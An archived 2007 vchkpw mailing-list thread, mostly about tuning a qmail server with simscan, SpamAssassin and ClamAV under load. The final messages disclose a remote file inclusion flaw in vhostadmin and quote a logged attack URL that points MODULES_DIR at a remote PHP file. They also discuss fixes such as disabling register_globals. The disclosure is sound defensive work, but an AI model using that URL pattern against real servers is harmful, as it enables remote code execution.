Re: [vchkpw] Qmail with Simscan, SA and ClamAv

2007-01-31 Thread Rick Romero
On Wed, 2007-01-31 at 13:11 -0500, Rick Macdougall wrote:
> Max Esquivel wrote:
> > Thanks all for the suggestions.  Been looking at things in more detail:
> > 
> > 1) Im not sure how many sessions we are handling.  I do now we were 
> > maxing out at 120 connections per sec at peak times.
> > 
> > 2) we do have spamc and spamd running.
> > spamd --max-children 25 -x -v -d --pidfile=/var/run/spamd.pid
> > 25 childs enough?
> > 
> 
> max children 25 and 1 gig of memory is not going to work.  Once you 
> start swapping every thing is going to slow to a halt.

Just to elaborate on that - I figure 50MB per child (mine currently vary
from 12 - 40), so 25 children would require at least a gig.   

Honestly, mine is set to 32, and I only have 1 gb - but it's a dedicated
server, and it was a pain to tweak it to where it is now.   
I definitely need more Ram.

> I'd increase the amount of ram (we run 4 gig on all our SA servers) and 
> see if it would be possible to get a separate machine to just run spamd on.
>
> Regards,
> 
> Rick
> 



Re: [vchkpw] Qmail with Simscan, SA and ClamAv

2007-01-31 Thread Rick Macdougall

Max Esquivel wrote:

Thanks all for the suggestions.  Been looking at things in more detail:

1) Im not sure how many sessions we are handling.  I do now we were 
maxing out at 120 connections per sec at peak times.


2) we do have spamc and spamd running.
spamd --max-children 25 -x -v -d --pidfile=/var/run/spamd.pid
25 childs enough?



max children 25 and 1 gig of memory is not going to work.  Once you 
start swapping every thing is going to slow to a halt.


I'd increase the amount of ram (we run 4 gig on all our SA servers) and 
see if it would be possible to get a separate machine to just run spamd on.


Regards,

Rick



Re: [vchkpw] Qmail with Simscan, SA and ClamAv

2007-01-31 Thread Max Esquivel

Thanks all for the suggestions.  Been looking at things in more detail:

1) Im not sure how many sessions we are handling.  I do now we were  
maxing out at 120 connections per sec at peak times.


2) we do have spamc and spamd running.
spamd --max-children 25 -x -v -d --pidfile=/var/run/spamd.pid
25 childs enough?

3) Running vpopmail and not using mysql.

4)We do have todo patch installed.

5) LOG Files:
a) Mail.log >>at a glance these are all legitimate users with hosted  
domains on the server.  looks pretty normal.
b) Mail.err >> theres a lot of this entry:  pop3d: Maximum connection  
limit reached for :::201.194.10.118
Looking at these IP's they correspond to the IP numbers of my  
country's ISP's through which most of my users connect to the  
internet, so that would seem to makes sense. Leaving number of max  
connections per IP as is for now.
I found a lot of this as well: imapd: /usr/lib/courier-imap/etc/ 
shared/index: No such file or directory.   (PS.  all catch-alls are  
set to bounce, but I dont know if this is related in any way).
c) simlog:  there are quite a few, actually a LOT, of connect error 2  
messages.
Traced it back to p0f fingerprinting.  Have turned it off and have  
also disabled checking mail from local users to the outside.



Have simscan/SA/Clam running smoothly for about an hour now.  Will  
wait for a peak in email traffic see how it handles it.


Again.  Thanks to all for observations and suggestions so far.  I  
will continue to look at this and post back anything that may be useful.


Max


Re: [vchkpw] Qmail with Simscan, SA and ClamAv

2007-01-31 Thread Rick Romero
On Wed, 2007-01-31 at 11:22 -0500, Darrel O'Pry wrote:
> On Tue, 2007-01-30 at 19:14 -0600, Max Esquivel wrote:
> > I have also posted this to vchkpw list:
> > 
> > I have a server with qmail running some 600 email accounts over some  
> > 30 domains.  I recently installed simscan, Spamassassin and ClamAv.   
> > It all works really well, but during peak hours (say 300 to 500k per  
> > sec inbound traffic) Thee server starts to bog down and progressively  
> > gets slower and slower until 120 connections are maxed out and the  
> > server starts rejecting smtp connections first and then pop  
> > connections.  This is a new AMD 64 bit with 1Gig Ram running on  
> > Debian and running also Apache with php, mysql, and Horde webmail  
> > (with very very few hits per day).  If I turn off simscan, situation  
> > returns to normal after a while.  I have tried finding some  
> > documentation about how many users and traffic qmail with simscan, SA  
> > and Clam may handle, but it seems there is nothing out there other  
> > than very general stuff like "many users", "thousands of users"
> > 
> > Perhaps the problem is in my setup and some configuration for  
> > simscan, SA or clam that I have set/not set incorrectly, ot I have  
> > not realized this number of users and trafffic is just too much for  
> > one server. Any suggestions or links to appropriate docs will be most  
> > appreciated.
> > 
> > Thanks!
> > 
> > Max Esquivel
> 
> I was having a similar issue. For my environment it was being caused by
> large attachments. I ended up only using simscan to call clamav and set
> some basic attachment blocking policy.

I was also having that issue, about 2000 regular users.  I have multiple
servers, but the 'last' thing I did might help you the most.  I used to
share SpamAssassin with my secondary MX, and data store, but I now have
a Core2Duo server dedicated to SpamAssassin.   It was just eating up way
too many resources - even on that low usage box.  

My primary MX averages about 300k per sec, 1000 msgs/hour and is only a
Duron 1400.  Looks like it peaked at 2800 msgs yesterday at 3pm CST on
the dot ;)  No more slow scanning issues.

There are also some SA optimizations to speed up scans.

Put:

dns_available yes
rbl_timeout 10
razor_timeout 5
pyzor_timeout 5
check_mx_attempts 1

in your SpamAssassin local.cf and run dnscache locally.

And make sure the SpamAssassin logs don't have 'Unable to read
bayes_seen' errors - that's a killer too.

Rick







Re: [vchkpw] Qmail with Simscan, SA and ClamAv

2007-01-31 Thread Darrel O'Pry
On Tue, 2007-01-30 at 19:14 -0600, Max Esquivel wrote:
> I have also posted this to vchkpw list:
> 
> I have a server with qmail running some 600 email accounts over some  
> 30 domains.  I recently installed simscan, Spamassassin and ClamAv.   
> It all works really well, but during peak hours (say 300 to 500k per  
> sec inbound traffic) Thee server starts to bog down and progressively  
> gets slower and slower until 120 connections are maxed out and the  
> server starts rejecting smtp connections first and then pop  
> connections.  This is a new AMD 64 bit with 1Gig Ram running on  
> Debian and running also Apache with php, mysql, and Horde webmail  
> (with very very few hits per day).  If I turn off simscan, situation  
> returns to normal after a while.  I have tried finding some  
> documentation about how many users and traffic qmail with simscan, SA  
> and Clam may handle, but it seems there is nothing out there other  
> than very general stuff like "many users", "thousands of users"
> 
> Perhaps the problem is in my setup and some configuration for  
> simscan, SA or clam that I have set/not set incorrectly, ot I have  
> not realized this number of users and trafffic is just too much for  
> one server. Any suggestions or links to appropriate docs will be most  
> appreciated.
> 
> Thanks!
> 
> Max Esquivel

I was having a similar issue. For my environment it was being caused by
large attachments. I ended up only using simscan to call clamav and set
some basic attachment blocking policy.

I call SpamAssassin through procmail, but only on messages smaller than
250k to avoid scanning large media attachments. I also get user_prefs
working this way. I still haven't figured out hot to get user prefs to
work on aliases though. :(

.darrel.



Re: [vchkpw] Qmail with Simscan, SA and ClamAv

2007-01-31 Thread Joshua Megerman

> I have also posted this to vchkpw list:
>
> I have a server with qmail running some 600 email accounts over some
> 30 domains.  I recently installed simscan, Spamassassin and ClamAv.
> It all works really well, but during peak hours (say 300 to 500k per
> sec inbound traffic) Thee server starts to bog down and progressively
> gets slower and slower until 120 connections are maxed out and the
> server starts rejecting smtp connections first and then pop
> connections.  This is a new AMD 64 bit with 1Gig Ram running on
> Debian and running also Apache with php, mysql, and Horde webmail
> (with very very few hits per day).  If I turn off simscan, situation
> returns to normal after a while.  I have tried finding some
> documentation about how many users and traffic qmail with simscan, SA
> and Clam may handle, but it seems there is nothing out there other
> than very general stuff like "many users", "thousands of users"
>
> Perhaps the problem is in my setup and some configuration for
> simscan, SA or clam that I have set/not set incorrectly, ot I have
> not realized this number of users and trafffic is just too much for
> one server. Any suggestions or links to appropriate docs will be most
> appreciated.
>
One thing that I found helpful was to put the simscan temporary directory
onto a ramdisk.  I have /var/qmail/simscan mounted as tmpfs, forcing the
mode to 750, uid to simscan and gid to vchkpw (I use Vpopmail, YMMV), and
specifying the size to 1G (my box has 1G ram and 2G swap, so the default
tmpfs size is only 512M).  Since anything put there is transient by
definition, if I have a power failure and the contents die I lose nothing.
 And since simscan cleans up after itself, as long as you're not getting
large numbers of very large emails all at once, it rarely forces the tmpfs
to hit swap.

I actually have a server with the same memory config that runs 4 separate
instances of qmail on separate IPs (consolidation of multiple servers into
one box), and "idling" it only uses roughly half a gig of RAM.  That's for
4 instances each of qmail and clamd, plus an assortment of other daemons
used only for one instance or another and a MySql DB to hold it all
together.  It bogs down a little on occasion when a large list goes
through, but that's all CPU from virus scanning hundreds of emails at
once.

One other suggestion - if you don't already use it, patch qmail with the
external-todo patch - it speeds up send of mail while processing the
queue...

Josh

-- 
Joshua Megerman
SJGames MIB #5273 - OGRE AI Testing Division
You can't win; You can't break even; You can't even quit the game.
  - Layman's translation of the Laws of Thermodynamics
[EMAIL PROTECTED]



Re: [vchkpw] XSS Bug in vhostadmin

2007-01-31 Thread Shane Chrisp

> Or turn off Register_global, and then MODULES_DIR would only exist in  
> $_GET[]. I chalk this one up to a bad PHP configuration:
> 
> http://www.php.net/register_globals
> 
> While it would not stop attacks that could cause you to include stuff  
> if other variables are not checked before blindly being used from the  
> $_POST and $_GET arrays, however the attack you just mentioned is  
> null and void.
> 
> If you are running with register_globals on, you should seriously re- 
> consider. It will be deprecated, and I can't wait for it to finally  
> be gone, then script writers will have to learn how to use the  
> array's that were meant for that sort of data.
> 
> Bert JW Regeer

Yes, register_globals was turned on and consiquently turned off, but
thats no excuse for not protecting the vars.



Re: [vchkpw] XSS Bug in vhostadmin

2007-01-31 Thread Bert JW Regeer

On Jan 29, 2007, at 21:52 , Shane Chrisp wrote:


I know this is not exactly vpopmail related, but as its a vpopmail
related tool i thought others here would like to be made aware of  
this.


I have been using vhostadmin for a while now, and have just noticed  
that

it is vulnerable to a xss attack which could lead to the underlying
system being cracked. The problem is the $MODULES_DIR var is not being
protected against injection of a remote path and simply accepts  
whatever

is passed to it such as

http://server/path/to/vhostadmin/modules/main.php? 
MODULES_DIR=http://remoteserver/path/to/bad/file.php?&cmd=0wn3d



A quick fix is to change global.inc and change
$MODULES_DIR = 'modules';
to
define("MODULES_DIR", "modules");

and then change all references in any file it appears in of

$MODULES_DIR
to
MODULES_DIR

and comment out any references to

global $MODULES_DIR;
to
//global $MODULES_DIR;


There may be other issues, but this one I came accross yesterday  
when I

noticed the above formated url in the apacge logs. Also, we have
modified some of the system ourselves, so it is entirely possible that
we may be partly to blame for some or all of this, but it would
certainly be worth watching out for if you are using the system.

Regards
Shane



Or turn off Register_global, and then MODULES_DIR would only exist in  
$_GET[]. I chalk this one up to a bad PHP configuration:


http://www.php.net/register_globals

While it would not stop attacks that could cause you to include stuff  
if other variables are not checked before blindly being used from the  
$_POST and $_GET arrays, however the attack you just mentioned is  
null and void.


If you are running with register_globals on, you should seriously re- 
consider. It will be deprecated, and I can't wait for it to finally  
be gone, then script writers will have to learn how to use the  
array's that were meant for that sort of data.


Bert JW Regeer

smime.p7s
Description: S/MIME cryptographic signature